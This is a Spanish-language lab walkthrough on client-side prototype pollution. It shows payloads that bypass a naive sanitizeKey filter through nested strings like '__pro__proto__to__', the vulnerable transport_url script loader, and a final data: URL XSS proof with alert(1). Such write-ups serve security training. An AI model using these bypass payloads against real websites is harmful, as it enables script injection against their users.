# Lab 4: Client-side prototype pollution via flawed sanitization

Al probar diferentes cargas, se detecta que no funcionan:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2F2H21TZIzLifuoGgFknvg%2Fimage.png?alt=media&#x26;token=28f2b33c-0769-43a2-8534-db3a1242ca9b" alt=""><figcaption></figcaption></figure>

Tampoco esta:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FKwKygyDmzpQHOfpO7QXb%2Fimage.png?alt=media&#x26;token=89209a91-0cb5-476f-b5db-81746c20f391" alt=""><figcaption></figcaption></figure>

Y tampoco esta:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FPICMl65WbNWlOKLaPYXD%2Fimage.png?alt=media&#x26;token=b76185a6-2eb6-4c30-abac-d55c3cff23be" alt=""><figcaption></figcaption></figure>

Las cargas utilizadas fueron:

```
/?__proto__[foo]=bar
/?constructor.prototype.foo=bar
/?__proto__.foo=bar
```

Se procede a revisar el codigo fuente y se detecta la siguiente funcion que probablemente esta filtrando las entradas maliciosas:

```javascript
function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}
```

La función `sanitizeKey` está diseñada para eliminar ciertas cadenas específicas de una clave. Sin embargo, no aborda adecuadamente las variaciones o fragmentaciones de estas cadenas. Vamos a analizar por qué:

La función `sanitizeKey` depende de coincidencias exactas para reemplazar. Cuando la cadena `__proto__` está incrustada dentro de otra cadena (como en el siguiente payload), la función no la reconoce como un mal atributo y no la elimina.

```
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
```

Las cargas anteriores son funcionales.

Ahora si analizamos el codigo fuente:

```javascript
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}
```

Se detecta que la inyeccion o el payload debe abordar a transport\_url.

Por lo anterior, la carga quedaria de la siguiente manera:

```
/?__pro__proto__to__[transport_url]=foo
```

Pero al utilizarla obtenemos un error:<br>

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FRRMY5eSMZAZZqe5Fnn9i%2Fimage.png?alt=media&#x26;token=20546ddc-7519-43c9-b0e9-631fbd44c93a" alt=""><figcaption></figcaption></figure>

Y al analizar el codigo fuente se puede apreciar la inclusion de foo:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FLPvm4zsbrjb9kFIkRC2t%2Fimage.png?alt=media&#x26;token=8c1cf06d-a184-47ea-bcac-af2502b209ff" alt=""><figcaption></figcaption></figure>

La carga final para desplegar un XSS seria la siguiente:

```
/?__pro__proto__to__[transport_url]=data:,alert(1);
```

Y la salida de lo anterior es lo siguiente:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2F99FwSh9MiqCtHaYcmGDg%2Fimage.png?alt=media&#x26;token=39b38104-6a0b-41a9-a3c9-5c380965105b" alt=""><figcaption></figcaption></figure>
